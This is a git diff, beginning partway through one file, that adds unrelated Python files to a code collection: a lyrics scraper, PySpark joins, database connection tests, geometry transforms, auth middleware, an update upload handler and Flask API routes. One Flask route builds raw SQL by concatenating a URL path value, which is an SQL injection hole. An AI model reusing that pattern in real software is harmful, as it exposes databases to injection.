+                self.exchange[new_cpd] = (new_cpd, name, lower, upper)
+            else:
+                self._logger.error(
+                    ('Exchange reaction of compound %s is omitted because '
+                     'its new id %s has been assigned multiple compounds: %s'),
+                    cpd.name,
+                    new_cpd.name,
+                    self.compounds[new_cpd.name].properties['original_id'])
+
+    def _translate_limits(self, ref_model):
+        """"Translate reaction limits."""
+        for rxn in ref_model.limits:
+            new_rxn = translate_id(rxn, self.rxn_mapping_id)
+            if new_rxn not in self.limits:  # do not duplicate limits
+                lower, upper = ref_model.limits[rxn][1:]
+                self.limits[new_rxn] = (new_rxn, lower, upper)
+            else:
+                self._logger.error(
+                    ('Limits of reaction %s is omitted because its new id %s '
+                     'has been assigned to %s'),
+                    rxn,
+                    new_rxn,
+                    self.reactions[new_rxn].properties['original_id'])
+
+    def write_model(self, dest, **kwargs):
+        """Output model into YAML files."""
+        mkdir_p(dest)
+        write_yaml_model(self, dest, **kwargs)
diff --git a/pool/shard000/Python/0008383_minimum_depth_of_binary_tree.py b/pool/shard000/Python/0008383_minimum_depth_of_binary_tree.py
new file mode 100644
index 0000000000000000000000000000000000000000..4af61426e5078a7453720a085a19e8f016b080d9
--- /dev/null
+++ b/pool/shard000/Python/0008383_minimum_depth_of_binary_tree.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+#coding: utf-8
+
+# Definition for a  binary tree node
+class TreeNode:
+    def __init__(self, x):
+        self.val = x
+        self.left = None
+        self.right = None
+
+class Solution:
+    # @param root, a tree node
+    # @return an integer
+    def minDepth(self, root):
+        if not root: return 0
+        if not root.left and not root.right: return 1
+        if not root.left:
+            return self.minDepth(root.right) + 1
+        if not root.right:
+            return self.minDepth(root.left) + 1
+
+        ld = self.minDepth(root.left)
+        rd = self.minDepth(root.right)
+        return min(ld,rd) + 1
+
+if __name__ == '__main__':
+    t = [TreeNode(i) for i in range(10)]
+    s = Solution()
+    assert 1 == s.minDepth(t[0])
+
+    t[0].left = t[1]
+    assert 2 == s.minDepth(t[0])
+
+    t[0].right = t[2]
+    assert 2 == s.minDepth(t[0])
+
+    t[1].left = t[3]
+    assert 2 == s.minDepth(t[0])
+
diff --git a/pool/shard000/Python/0008384_jlyrics.py b/pool/shard000/Python/0008384_jlyrics.py
new file mode 100644
index 0000000000000000000000000000000000000000..66e9aaf6af5af7eb2f1295ab220d2e6768356784
--- /dev/null
+++ b/pool/shard000/Python/0008384_jlyrics.py
@@ -0,0 +1,120 @@
+# -*- coding: utf-8 -*-
+
+import os
+
+from . import compat
+
+from lxml import html
+from six.moves import urllib
+
+
+_BASE_URL = 'http://j-lyric.net/'
+
+
+def _get_url(artist_id, title_id=None):
+    url = _BASE_URL + '/'.join(('artist', artist_id, ''))
+
+    if title_id is not None:
+        url += title_id + '.html'
+
+    return url
+
+
+def _split_url(url):
+    x = url.split('/')
+
+    if url.endswith('.html'):
+        return x[-2], os.path.splitext(x[-1])[0]
+
+    return x[-2], None
+
+
+def search(title=None, artist=None, lyrics=None, ct=2, ca=2, cl=2, p=1):
+    q = {'ct': ct, 'ca': ca, 'cl': cl, 'p': p}
+
+    if title:
+        q.update({'kt': title.encode('utf-8')})
+    if artist:
+        q.update({'ka': artist.encode('utf-8')})
+    if lyrics:
+        q.update({'kl': lyrics.encode('utf-8')})
+
+    try:
+        url = _BASE_URL + '?'.join(('index.php', urllib.parse.urlencode(q)))
+        root = html.parse(url).getroot()
+        body = root.get_element_by_id('lyricList')
+    except (KeyError, IOError):
+        raise StopIteration()
+
+    for b in body.find_class('body'):
+        t = b.find_class('title')[0].getchildren()[0]
+        title = t.text_content()
+        artist_id, title_id = _split_url(t.attrib['href'])
+        artist = b.find_class('status')[0].getchildren()[0].text_content()
+        yield title, title_id, artist, artist_id
+
+
+def get(artist_id, title_id):
+    try:
+        root = html.parse(_get_url(artist_id, title_id)).getroot()
+        body = root.get_element_by_id('Lyric')
+        return '\n'.join(' '.join(t.split()) for t in body.itertext())
+    except (KeyError, IOError):
+        return None
+
+
+def get_artist_id(name):
+    for _, _, artist, artist_id in search(artist=name, ca=1):
+        if name == artist:
+            return artist_id
+    return None
+
+
+def itertitles(artist_id):
+    try:
+        root = html.parse(_get_url(artist_id)).getroot()
+        body = root.get_element_by_id('cnt')
+    except (KeyError, IOError):
+        raise StopIteration()
+
+    for x in body.find_class('ttl'):
+        x = x.getchildren()[0]
+        title = x.text_content()
+        _, title_id = _split_url(x.attrib['href'])
+        yield title, title_id
+
+
+if __name__ == '__main__':
+    import sys
+    import time
+    import errno
+    import codecs
+    import random
+
+    artist = compat.ucode(sys.argv[1], sys.getfilesystemencoding())
+    artist_id = get_artist_id(artist)
+    time.sleep(random.randint(1, 5))
+
+    if not artist_id:
+        raise SystemExit('artist not found')
+
+    try:
+        os.mkdir(artist_id, 0o755)
+    except OSError as e:
+        if e.errno != errno.EEXIST:
+            raise
+
+    for title, title_id in itertitles(artist_id):
+        time.sleep(random.randint(3, 15))
+
+        path = os.path.join(artist_id, title_id) + '.txt'
+        lyrics = get(artist_id, title_id)
+
+        if not lyrics:
+            print('could not get %s/%s' % (artist_id, title_id))
+            continue
+
+        with codecs.open(path, 'w', encoding='utf-8') as fp:
+            fp.write(lyrics)
+
+        print('dumped %s' % path)
diff --git a/pool/shard000/Python/0008385_log.py b/pool/shard000/Python/0008385_log.py
new file mode 100644
index 0000000000000000000000000000000000000000..c80f8952b7fd0e8038e65070946582b042008970
--- /dev/null
+++ b/pool/shard000/Python/0008385_log.py
@@ -0,0 +1,34 @@
+import logging
+import datetime as dt
+
+
+# http://stackoverflow.com/questions/15727420/using-python-logging-in-multiple-modules
+class MyFormatter(logging.Formatter):
+    converter = dt.datetime.fromtimestamp
+
+    def formatTime(self, record, datefmt=None):
+        ct = self.converter(record.created)
+        if datefmt:
+            s = ct.strftime(datefmt)
+        else:
+            t = ct.strftime("%Y-%m-%d %H:%M:%S")
+            s = "%s,%03d" % (t, record.msecs)
+        return s
+
+
+# http://stackoverflow.com/questions/7621897/python-logging-module-globally
+def setup_custom_logger(name, filename=None):
+    formatter = MyFormatter(fmt='[%(asctime)s][%(module)s] %(message)s', datefmt='%Y-%m-%d,%H:%M:%S.%f%z')
+    # formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(module)s - %(message)s')
+
+    if filename:
+        handler = logging.FileHandler(filename)
+    else:
+        handler = logging.StreamHandler()
+
+    handler.setFormatter(formatter)
+
+    logger = logging.getLogger(name)
+    logger.setLevel(logging.DEBUG)
+    logger.addHandler(handler)
+    return logger
diff --git a/pool/shard000/Python/0008386_new_delta.py b/pool/shard000/Python/0008386_new_delta.py
new file mode 100644
index 0000000000000000000000000000000000000000..0bc576e473b6beeb5b935da660a1f3722927700b
--- /dev/null
+++ b/pool/shard000/Python/0008386_new_delta.py
@@ -0,0 +1,149 @@
+#   Copyright (C) 2011 Crystalnix <vgachkaylo@crystalnix.com>
+
+#   This file is part of omaha-server.
+
+#   omaha-server is free software: you can redistribute it and/or modify
+#   it under the terms of the GNU General Public License as published by
+#   the Free Software Foundation, either version 3 of the License, or
+#   (at your option) any later version.
+
+#   omaha-server is distributed in the hope that it will be useful,
+#   but WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#   GNU General Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License
+#   along with omaha-server.  If not, see <http://www.gnu.org/licenses/>.
+
+import re
+from twisted.web import resource
+from config import Config
+from util import *
+import hashlib, base64
+
+class NewDeltaResource(resource.Resource):
+    isLeaf = True
+    pathFromRoot = '/service/admin/new_delta'
+
+    def render_GET(self, request):
+        output = """<!doctype html>
+<html>
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="chrome=1">
+
+    <title>House of Life Update Manager</title>
+
+    <!-- CSS: implied media="all" -->
+    <link rel="stylesheet" href="/css/style.css?v=2">
+    <link rel="stylesheet" href="/css/upload.css?v=2">
+
+    <script type="text/javascript">
+        uploadPath = "{0}";
+    </script>
+    <script type="text/javascript" src="/js/upload.js"></script>
+</head>
+<body>
+    <div id="container">
+        <header>
+        </header>
+        <div id="main" role="main">""".format(self.pathFromRoot)
+
+        output += """
+            <form id="form1" enctype="multipart/form-data" method="post" action="{0}">
+              <div class="row">
+                <label for="fromVersion">Input "From" Delta Update Version Number</label><br />
+                <input type="text" name="fromVersion" id="fromVersion" />
+              </div>
+              <div class="row">
+                <label for="fileToUpload">Select a File to Upload</label><br />
+                <input type="file" name="fileToUpload" id="fileToUpload" onchange="fileSelected();"/>
+              </div>
+              <div class="row">
+              <input type="button" onclick="uploadFile()" value="Upload" />
+              </div>
+              <div id="fileInfo">
+                <div id="fileName"></div>
+                <div id="fileSize"></div>
+                <div id="fileType"></div>
+              </div>
+              <div class="row"></div>
+              <div id="progressIndicator">
+                <div id="progressBar" class="floatLeft">
+                </div>
+                <div id="progressNumber" class="floatRight">&nbsp;</div>
+                <div class="clear"></div>
+                <div>
+                  <div id="transferSpeedInfo" class="floatLeft" style="width: 80px;">&nbsp;</div>
+                  <div id="timeRemainingInfo" class="floatLeft" style="margin-left: 10px;">&nbsp;</div>
+                  <div id="transferBytesInfo" class="floatRight" style="text-align: right;">&nbsp;</div>
+                  <div class="clear"></div>
+                </div>
+                <div id="uploadResponse"></div>
+              </div>
+              <p>
+                <a href="/service/admin">Back to main page</a>
+              </p>
+            </form>""".format(self.pathFromRoot)
+
+        output += """
+        </div>
+        <footer>
+        </footer>
+    </div>
+</body>
+</html>"""
+        return output
+
+    def render_POST(self, request):
+        """
+        
+        """
+        versionRegex = re.compile('^\d+\.\d+\.\d+\.\d+$')
+        if not versionRegex.match(request.args['fromVersion'][0]):
+            request.setResponseCode(400) # Bad request
+            return "Error: malformed version number."
+
+        newDict = loadJsonAndCheckIfLatestKeyExists(Config.bitpopNewUpdateInfoFile)
+        if not newDict['latestExists']:
+            request.setResponseCode(500)
+            return 'Error: Bad new update information file or file does not exist.'
+
+        newInfo = newDict['jsonData']
+
+        outDir = os.path.join(Config.bitpopDirectory, newInfo['latest'])
+        if not os.path.exists(outDir):
+            request.setResponseCode(500)
+            return 'Error: Update directory not created yet.'
+
+        outDir = os.path.join(outDir, request.args['fromVersion'][0])
+        if not os.path.exists(outDir):
+            os.mkdir(outDir, 0755)
+        elif not os.path.isdir(outDir):
+            os.remove(outDir)
+            os.mkdir(outDir, 0755)
+        filename = os.path.join(outDir, Config.installerName)
+
+        try:
+            outputStream = open(filename, 'wb')
+            outputStream.write(request.args['fileToUpload'][0])
+            outputStream.close()
+
+            sha = hashlib.new('sha1')
+            sha.update(request.args['fileToUpload'][0])
+            hash = base64.b64encode(sha.digest())
+
+            if not newInfo.has_key('delta') or type(newInfo['delta']) != type([]):
+                newInfo['delta'] = []
+            if not newInfo.has_key('deltaHash') or type(newInfo['deltaHash']) != type([]):
+                newInfo['deltaHash'] = []
+            newInfo['delta'].append(request.args['fromVersion'][0])
+            newInfo['deltaHash'].append(hash)
+            bitpopUploadInfoFile = open(Config.bitpopNewUpdateInfoFile, 'w')
+            json.dump(newInfo, bitpopUploadInfoFile)
+            bitpopUploadInfoFile.close()
+        except:
+            request.setResponseCode(500) # Internal server error
+            return "Error: Internal Server Error. Failed to do some file operation."
+
+        return "OK. File was successfully uploaded to server."
\ No newline at end of file
diff --git a/pool/shard000/Python/0008391_join.py b/pool/shard000/Python/0008391_join.py
new file mode 100644
index 0000000000000000000000000000000000000000..6f94d26ef86a92c7b91e6fbb5a32cc6e6621c180
--- /dev/null
+++ b/pool/shard000/Python/0008391_join.py
@@ -0,0 +1,93 @@
+"""
+Copyright (c) 2011, Douban Inc. <http://www.douban.com/>
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+    * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+
+    * Neither the name of the Douban Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+"""
+
+from pyspark.resultiterable import ResultIterable
+
+def _do_python_join(rdd, other, numPartitions, dispatch):
+    vs = rdd.map(lambda (k, v): (k, (1, v)))
+    ws = other.map(lambda (k, v): (k, (2, v)))
+    return vs.union(ws).groupByKey(numPartitions).flatMapValues(lambda x : dispatch(x.__iter__()))
+
+
+def python_join(rdd, other, numPartitions):
+    def dispatch(seq):
+        vbuf, wbuf = [], []
+        for (n, v) in seq:
+            if n == 1:
+                vbuf.append(v)
+            elif n == 2:
+                wbuf.append(v)
+        return [(v, w) for v in vbuf for w in wbuf]
+    return _do_python_join(rdd, other, numPartitions, dispatch)
+
+
+def python_right_outer_join(rdd, other, numPartitions):
+    def dispatch(seq):
+        vbuf, wbuf = [], []
+        for (n, v) in seq:
+            if n == 1:
+                vbuf.append(v)
+            elif n == 2:
+                wbuf.append(v)
+        if not vbuf:
+            vbuf.append(None)
+        return [(v, w) for v in vbuf for w in wbuf]
+    return _do_python_join(rdd, other, numPartitions, dispatch)
+
+
+def python_left_outer_join(rdd, other, numPartitions):
+    def dispatch(seq):
+        vbuf, wbuf = [], []
+        for (n, v) in seq:
+            if n == 1:
+                vbuf.append(v)
+            elif n == 2:
+                wbuf.append(v)
+        if not wbuf:
+            wbuf.append(None)
+        return [(v, w) for v in vbuf for w in wbuf]
+    return _do_python_join(rdd, other, numPartitions, dispatch)
+
+
+def python_cogroup(rdd, other, numPartitions):
+    vs = rdd.map(lambda (k, v): (k, (1, v)))
+    ws = other.map(lambda (k, v): (k, (2, v)))
+    def dispatch(seq):
+        vbuf, wbuf = [], []
+        for (n, v) in seq:
+            if n == 1:
+                vbuf.append(v)
+            elif n == 2:
+                wbuf.append(v)
+        return (ResultIterable(vbuf), ResultIterable(wbuf))
+    return vs.union(ws).groupByKey(numPartitions).mapValues(dispatch)
diff --git a/pool/shard000/Python/0008392_test_connection.py b/pool/shard000/Python/0008392_test_connection.py
new file mode 100644
index 0000000000000000000000000000000000000000..b0fc0527db9e94062bd4c6e6fd0c66c366c8a7eb
--- /dev/null
+++ b/pool/shard000/Python/0008392_test_connection.py
@@ -0,0 +1,167 @@
+import pytest
+from helpers import for_one_database, get_credentials
+from query_fixture import unique_table_name
+
+from turbodbc import DatabaseError, InterfaceError, connect, make_options
+
+
+@for_one_database
+def test_cursor_on_closed_connection_raises(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+    connection.close()
+
+    with pytest.raises(InterfaceError):
+        connection.cursor()
+
+
+@for_one_database
+def test_closing_twice_is_ok(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+
+    connection.close()
+    connection.close()
+
+
+@for_one_database
+def test_closing_connection_closes_all_cursors(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+    cursor_1 = connection.cursor()
+    cursor_2 = connection.cursor()
+    connection.close()
+
+    with pytest.raises(InterfaceError):
+        cursor_1.execute("SELECT 42")
+
+    with pytest.raises(InterfaceError):
+        cursor_2.execute("SELECT 42")
+
+
+@for_one_database
+def test_no_autocommit(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+
+    connection.cursor().execute("CREATE TABLE test_no_autocommit (a INTEGER)")
+    connection.close()
+
+    connection = connect(dsn, **get_credentials(configuration))
+    with pytest.raises(DatabaseError):
+        connection.cursor().execute("SELECT * FROM test_no_autocommit")
+
+
+@for_one_database
+def test_commit_on_closed_connection_raises(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+    connection.close()
+
+    with pytest.raises(InterfaceError):
+        connection.commit()
+
+
+@for_one_database
+def test_commit(dsn, configuration):
+    table_name = unique_table_name()
+    connection = connect(dsn, **get_credentials(configuration))
+
+    connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)")
+    connection.commit()
+
+    connection.close()
+
+    connection = connect(dsn, **get_credentials(configuration))
+    cursor = connection.cursor()
+    cursor.execute(f"SELECT * FROM {table_name}")
+    results = cursor.fetchall()
+    assert results == []
+
+    cursor.execute(f"DROP TABLE {table_name}")
+    connection.commit()
+
+
+@for_one_database
+def test_rollback_on_closed_connection_raises(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+    connection.close()
+
+    with pytest.raises(InterfaceError):
+        connection.rollback()
+
+
+@for_one_database
+def test_rollback(dsn, configuration):
+    table_name = unique_table_name()
+    connection = connect(dsn, **get_credentials(configuration))
+
+    connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)")
+    connection.rollback()
+
+    with pytest.raises(DatabaseError):
+        connection.cursor().execute(f"SELECT * FROM {table_name}")
+
+
+@for_one_database
+def test_autocommit_enabled_at_start(dsn, configuration):
+    table_name = unique_table_name()
+    options = make_options(autocommit=True)
+    connection = connect(
+        dsn, turbodbc_options=options, **get_credentials(configuration)
+    )
+
+    connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)")
+    connection.close()
+
+    connection = connect(dsn, **get_credentials(configuration))
+    cursor = connection.cursor()
+    cursor.execute(f"SELECT * FROM {table_name}")
+    results = cursor.fetchall()
+    assert results == []
+
+    cursor.execute(f"DROP TABLE {table_name}")
+    connection.commit()
+
+
+@for_one_database
+def test_autocommit_switching(dsn, configuration):
+    table_name = unique_table_name()
+
+    connection = connect(dsn, **get_credentials(configuration))
+    connection.autocommit = True  # <---
+    connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)")
+    connection.close()
+
+    options = make_options(autocommit=True)
+    connection = connect(
+        dsn, turbodbc_options=options, **get_credentials(configuration)
+    )
+    connection.autocommit = False  # <---
+    connection.cursor().execute(f"INSERT INTO {table_name} VALUES (?)", [42])
+    connection.close()
+
+    # table is there, but data was not persisted
+    connection = connect(dsn, **get_credentials(configuration))
+    cursor = connection.cursor()
+    cursor.execute(f"SELECT * FROM {table_name}")
+    results = cursor.fetchall()
+    assert results == []
+
+    cursor.execute(f"DROP TABLE {table_name}")
+    connection.commit()
+
+
+@for_one_database
+def test_autocommit_querying(dsn, configuration):
+    connection = connect(dsn, **get_credentials(configuration))
+    assert connection.autocommit is False
+    connection.autocommit = True
+    assert connection.autocommit is True
+    connection.close()
+
+
+@for_one_database
+def test_pep343_with_statement(dsn, configuration):
+
+    with connect(dsn, **get_credentials(configuration)) as connection:
+        cursor = connection.cursor()
+
+    # connection should be closed, test it with the cursor
+    with pytest.raises(InterfaceError):
+        cursor.execute("SELECT 42")
diff --git a/pool/shard000/Python/0008396_homogenous.py b/pool/shard000/Python/0008396_homogenous.py
new file mode 100644
index 0000000000000000000000000000000000000000..c08c58f909b7105d2c57a73a77f857034c840d6c
--- /dev/null
+++ b/pool/shard000/Python/0008396_homogenous.py
@@ -0,0 +1,144 @@
+from warnings import warn
+
+import numpy as np
+
+
+class HomogenousTransform:
+    def __init__(self, m=None):
+        if m is None:
+            m = np.eye(3)
+        assert m.shape == (3, 3)
+        self.m = np.matrix(m)
+        self._checkDeterminant()
+
+    def _checkDeterminant(self):
+        determinant = np.linalg.det(self.m)
+        assert not np.allclose(determinant, 0)
+
+    def isIsotropicScale(self):
+        return np.abs(self.m[0, 0]) == np.abs(self.m[1, 1])
+
+    def scale(self, value):
+        if not self.isIsotropicScale():
+            warn("scale() called with non-uniform expansion!")
+
+        projected0 = self.project([[0, 0]])
+        projected1 = self.project([[1, 0]])
+
+        pDelta = projected1 - projected0
+        scale = np.sqrt(np.sum(pDelta * pDelta))
+
+        return value * scale
+
+    def project(self, xys):
+        xys = np.array(xys).reshape((2, -1))
+        assert xys.shape[0] == 2
+        length = xys.shape[1]
+        paddin = np.ones((1, length))
+        xyw = np.concatenate((xys, paddin), axis=0)
+        prod = self.m * xyw
+        prod /= prod[2, :]
+        return np.array(prod[0:2, :])
+
+    def __mul__(self, other):
+        return HomogenousTransform(self.m * other.m)
+
+    @staticmethod
+    def rotation(phi):
+        # MRG TODO: Unit convert here.
+        s = np.sin
+        c = np.cos
+        m = np.matrix([[c(phi), -s(phi), 0],
+                       [s(phi), +c(phi), 0],
+                       [000000, 0000000, 1]])
+        return HomogenousTransform(m)
+
+    @staticmethod
+    def translation(dx, dy):
+        m = np.matrix([[1, 0, dx],
+                       [0, 1, dy],
+                       [0, 0, 1]])
+        return HomogenousTransform(m)
+
+    @staticmethod
+    def scaling(s):
+        m = np.matrix([[s, 0, 0],
+                       [0, s, 0],
+                       [0, 0, 1]])
+        return HomogenousTransform(m)
+
+
+class TransformationContext(HomogenousTransform):
+    def __init__(self, m=None):
+        HomogenousTransform.__init__(self)
+        self.xformStack = [HomogenousTransform(m)]
+        self._updateXform()
+
+        # Make the "with transform" handles
+        self.translation = self._mfgTransform(self._tr_entr)
+        self.rotation = self._mfgTransform(self._ro_entr)
+        self.flipX = self._mfgTransform(self._fx_entr)
+        self.flipY = self._mfgTransform(self._fy_entr)
+
+    # Helper for the above with handles
+    def _mfgTransform(self, enterFunction):
+        tMethods = {"__init__": self._transform_init,
+                    "__enter__": enterFunction,
+                    "__exit__": self._popXform}
+        return type("", (), tMethods)
+
+    def _transform_init(self, *args):
+        self._t = args
+
+    def _fx_entr(self):
+        m = np.array(((-1, 0, 0),
+                      (0, 1, 0),
+                      (0, 0, 1)))
+        ht = HomogenousTransform(m)
+        self._pushXform(ht)
+        del self._t
+
+    def _fy_entr(self):
+        m = np.array(((1, 0, 0),
+                      (0, -1, 0),
+                      (0, 0, 1)))
+        ht = HomogenousTransform(m)
+        self._pushXform(ht)
+        del self._t
+
+    def _tr_entr(self):
+        self.addTranslation(*self._t)
+        del self._t
+
+    def _ro_entr(self):
+        self.addRotation(*self._t)
+        del self._t
+
+    def _updateXform(self):
+        _m = HomogenousTransform()
+        for xform in self.xformStack:
+            _m = _m * xform
+
+        self.m[:] = _m.m
+
+    def _pushXform(self, ht):
+        self.xformStack.append(ht)
+        self._updateXform()
+
+    def _popXform(self, *args):
+        self.xformStack.pop()
+        self._updateXform()
+
+    def addTranslation(self, x, y):
+        ht = HomogenousTransform.translation(x, y)
+        self._pushXform(ht)
+
+    def addRotation(self, phi):
+        ht = HomogenousTransform.rotation(phi)
+        self._pushXform(ht)
+
+    def getMatrix(self):
+        return self.m
+
+    def copyCurrentTransform(self):
+        return HomogenousTransform(self.m.copy())
diff --git a/pool/shard000/Python/0008400_turf.py b/pool/shard000/Python/0008400_turf.py
new file mode 100644
index 0000000000000000000000000000000000000000..7ec97b58c23b57e3258ec149796774fd0b728fe5
--- /dev/null
+++ b/pool/shard000/Python/0008400_turf.py
@@ -0,0 +1,45 @@
+from flask import jsonify, request, g, abort, url_for, current_app, session
+from flask.ext.login import LoginManager, current_user
+from . import api
+from .. import cache
+from app.models import Turf
+
+# Primary key list: get the turf now list
+
+@api.route('/<ip_db>/turf/nbufs/<offset>')
+def get_turf_nbufs(ip_db, offset):
+    try:
+        engine_ip_db = ip_db.replace('query','session')
+        engine = getattr(Turf,engine_ip_db)
+        turfs = engine.execute('select nbuf, now, time from turf offset ' + offset + ' limit 2000;').fetchall()
+        return jsonify({'turf_nbufs': [item[0] for item in turfs], 'turf_nows': [item[1] for item in turfs], 'turf_times': [item[2] for item in turfs]})
+        # turfs =getattr(Turf,ip_db).with_entities(Turf.nbuf, Turf.now, Turf.time).filter(Turf.now>offset).order_by(Turf.now).limit(200).all()
+        # return jsonify({'turf_nbufs': [item.nbuf for item in turfs], 'turf_nows': [item.now for item in turfs], 'turf_times': [item.time for item in turfs]})
+    except BaseException as error:
+        print("Invalid request: {'turf_nbufs':[], 'turf_nows': [],  'turf_times': []}",format(error))
+        return jsonify({})
+# get the length of turf now list
+
+
+@api.route('/<ip_db>/turf/count')
+def get_turf_count(ip_db):
+    try:
+        count =getattr(Turf,ip_db).count()
+        # could not return long type, so use str()
+        return str(count)
+        # return jsonify({'turf': [item.now&mask for item in turfs]})
+    except BaseException as error:
+        print('Invalid request: {}',format(error))
+        return jsonify({})
+# get a tuple of Turf table
+
+
+@api.route('/<ip_db>/turf/<nbuf>')
+# @cache.cached(timeout=3600)
+def get_turf(ip_db, nbuf):
+    try:
+        turf =getattr(Turf,ip_db).filter_by(nbuf=nbuf).first()
+        return jsonify({'turf': turf.to_json()})
+    except BaseException as error:
+        print('Invalid request: {}',format(error))
+        return jsonify({})
\ No newline at end of file
diff --git a/pool/shard000/Python/0008403_auth.py b/pool/shard000/Python/0008403_auth.py
new file mode 100644
index 0000000000000000000000000000000000000000..287e2dc54a5614f1b64b75952b59028b7e3b8e65
--- /dev/null
+++ b/pool/shard000/Python/0008403_auth.py
@@ -0,0 +1,82 @@
+# -*- coding: utf8 -*-
+#
+# Copyright (c) 2011, Jerónimo José Albi <jeronimo.albi@gmail.com>
+# All rights reserved.
+# 
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+# 1. Redistributions of source code must retain the above copyright
+#    notice, this list of conditions and the following disclaimer.
+# 2. Redistributions in binary form must reproduce the above copyright
+#    notice, this list of conditions and the following disclaimer in the
+#    documentation and/or other materials provided with the distribution.
+# 3. Neither the name of copyright holders nor the names of its
+#    contributors may be used to endorse or promote products derived
+#    from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+
+import logging
+
+from paste.deploy.converters import asbool
+
+from duende import httpexc
+from duende.lib import urls
+from duende.lib import jsonrpc
+
+LOG = logging.getLogger(__name__)
+
+
+class AuthMiddleware:
+    """Middleware to enable form autentication."""
+
+    def __init__(self, application, config):
+        self.application = application
+        self.config = config
+        self.debug = asbool(config['debug'])
+        self.default_public = asbool(config['auth.default_public'])
+        self.login_url = urls.url(config.get('auth.login'))
+
+    def _handle_unauthorized(self, environ):
+        LOG.info(u'Unauthorized request from %s', environ['REMOTE_ADDR'])
+
+        is_xmlhttp_request = jsonrpc.is_xmlhttp_request(environ)
+        #TODO: Add basic auth for JSON requests
+        if is_xmlhttp_request and jsonrpc.request_accept_json(environ):
+            compact_json = not self.debug
+
+            raise jsonrpc.JSONRPCUnauthorized(compact=compact_json)
+        elif self.login_url:
+            LOG.debug(u'Redirecting to login page %s', self.login_url)
+            #redirect non JSON requests to login page
+            raise httpexc.HTTPFound(location=self.login_url)
+
+        #when no login page is available and JSON request dont
+        #accept JSON response raise HTTP unauthorized
+        raise httpexc.HTTPUnauthorized()
+
+    def __call__(self, environ, start_response):
+        view_handler = environ.get('duende.view')
+        is_public_view = getattr(view_handler, 'public', self.default_public)
+        session = environ['beaker.session']
+        user = session.get('user', None)
+        if not (is_public_view or user):
+            self._handle_unauthorized(environ)
+
+        environ['SESSION_ID'] = session.id
+        if user:
+            environ['REMOTE_USER'] = user.get_username()
+
+        return self.application(environ, start_response)
diff --git a/pool/shard000/Python/0008404_exercise4.py b/pool/shard000/Python/0008404_exercise4.py
new file mode 100644
index 0000000000000000000000000000000000000000..c693789768a146d386f6b5768755f40c01949d9c
--- /dev/null
+++ b/pool/shard000/Python/0008404_exercise4.py
@@ -0,0 +1,32 @@
+#spherical divergence correction
+
+import toolbox
+import numpy as np
+import pylab
+
+#--------------------------------------------------
+#       useful functions
+#-------------------------------------------------
+
+None
+
+if __name__ == "__main__":
+        #initialise dataset
+        print "initialising dataset"
+        workspace, params = toolbox.initialise('foybrook.su')
+        
+        #find our test CDP
+        #~ print np.unique(workspace['cdp'])
+        
+        #extract it
+        cdp = workspace[workspace['cdp'] == 396]
+        
+        #display it
+        #~ toolbox.display(cdp, None, **params)
+        
+        params['gamma'] = 6
+        toolbox.tar(cdp, None, **params)
+        
+        #display it
+        toolbox.display(cdp, None, **params)
+        pylab.show()
\ No newline at end of file
